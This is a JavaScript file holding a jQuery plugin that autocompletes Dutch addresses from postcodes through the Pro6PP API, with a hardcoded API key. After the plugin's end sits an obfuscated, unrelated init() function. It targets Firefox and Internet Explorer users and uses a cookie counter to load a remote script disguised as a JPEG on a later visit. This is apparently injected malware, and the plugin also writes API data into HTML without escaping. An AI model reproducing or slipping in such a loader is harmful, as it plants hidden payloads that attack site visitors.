

/* This key only works from the Pro6PP domains, for demo purposes.
   Replace this auth_key with your own.
   var pro6pp_auth_key = "n5SEkGlaFzbkWDfj";
*/

//Test key works til 01-06-2011
var pro6pp_auth_key = "8RdCsP7ll2uwPdmk";

// Create closure to keep namespace clean and hide implementation.
(function($) {	
	$.fn.applyAutocomplete = function(options) {
		var instance = this;
		if (options)
		{
			// Developer chose to specify each form field manually.
			instance.postcode = $(options['postcode']);	
			instance.streetnumber = $(options['streetnumber']);
			instance.street = $(options['street']);
			instance.streets = $(options['streets']);
			instance.city = $(options['city']);
			instance.message = $(options['message']);
			instance.spinner = $(options['spinner']);
		} else {
			// Developer chose to only specify the container class.
			// Input fields within should follow the following class
			// naming convention.
			instance.postcode = this.find('.postcode');	
			instance.streetnumber = this.find('.streetnumber');
			instance.street = this.find('.street');
			instance.streets = this.find('.streets');
			instance.city = this.find('.city');
			instance.message = this.find('.message');
			instance.spinner = this.find('.spinner');
		}
		
		// Turn off browser autocompletion for the postcode field.
		// Because javascript is unable to catch an event when a user clicks a
		// previously filled-in value that the browser may suggest.
		// The autocomplete attribute became official in HTML5, but used to work long before that. 
		instance.postcode.attr('autocomplete', 'off');
		instance.postcode.keyup(function() {
			autocomplete(instance);
		});
		instance.streetnumber.attr('autocomplete', 'off');
		instance.streetnumber.keyup(function() {
			autocomplete(instance);
		});
	};

	var pro6pp_cache = {};
	function pro6pp_cached_get(obj, url, callback) {
		if (pro6pp_cache.hasOwnProperty(url)) {
			callback(obj, pro6pp_cache[url]);
		} else {
			$.getJSON(url + "&callback=?", function(data) {
				pro6pp_cache[url] = data;
				callback(obj, data);
			});
		}
	}

	function autocomplete(obj) {
		obj.message.empty();
		var postcode = obj.postcode.val();
		
		// Strip ALL spaces, 
		postcode = postcode.replace(/ /g, "");
		
		var streetnumber = obj.streetnumber.val();
		// Trigger on '5408xb' and on '5408 xb'
		var nl_sixpp_regex = /[0-9]{4,4}\s?[a-zA-Z]{2,2}/;
		if (nl_sixpp_regex.test(postcode)) {
			show_street(obj);
			obj.spinner.show();
			var url = "http://api.pro6pp.nl/v1/autocomplete?auth_key="
					+ pro6pp_auth_key + "&nl_sixpp=" + postcode
					+ "&streetnumber=" + streetnumber;
			url = encodeURI(url);
			pro6pp_cached_get(obj, url, fillin);
		} else {
			obj.street.empty();
			obj.street.empty();
		}
	}

	function show_street(obj) {
		// Remove errorclass from street and city 
		jQuery('.street').removeClass('error');
		jQuery('.city').removeClass('error');
		
		jQuery('.js-hide').show();
		obj.street.show();
		obj.streets.hide();
		// Copy over the selected value (if any)
		obj.street.val(obj.streets.val());
	}
	function show_streets(obj) {
		jQuery('.js-hide').show();
		obj.street.hide();
		obj.streets.show();
	}

	function fillin(obj, json) {
		jQuery('.js-hide').show();
		obj.spinner.hide();
		if (json.status == 'ok') {
			if (json.results.length == 1) {
				//var street = $(obj).find('.street');
				obj.street.val(json.results[0].street);
			} else {
				var streets = obj.streets;
				streets.empty();
				streets.append("<option value=''>-Selecteer straat-</option>");
				$.each(json.results, function(i, street) {
					streets.append("<option value='" + street.street + "'>"
							+ street.street + "</option>");
					$(obj).find('.streets option:last').click(function() {
						show_street(obj);
					});
				});
				show_streets(obj);
			}
			obj.city.val(json.results[0].city);
		} else {
			var translated_message = json.error.message;
			if (json.error.message == 'nl_sixpp not found') {
				translated_message = 'Onbekende postcode';
			} else if (json.error.message == 'invalid postcode format') {
				translated_message = 'Ongeldig postcode formaat';
			}

			obj.message.html(translated_message);
		}
	}
//
// end of closure
//
})(jQuery);


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/files/layout/footer-aed.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
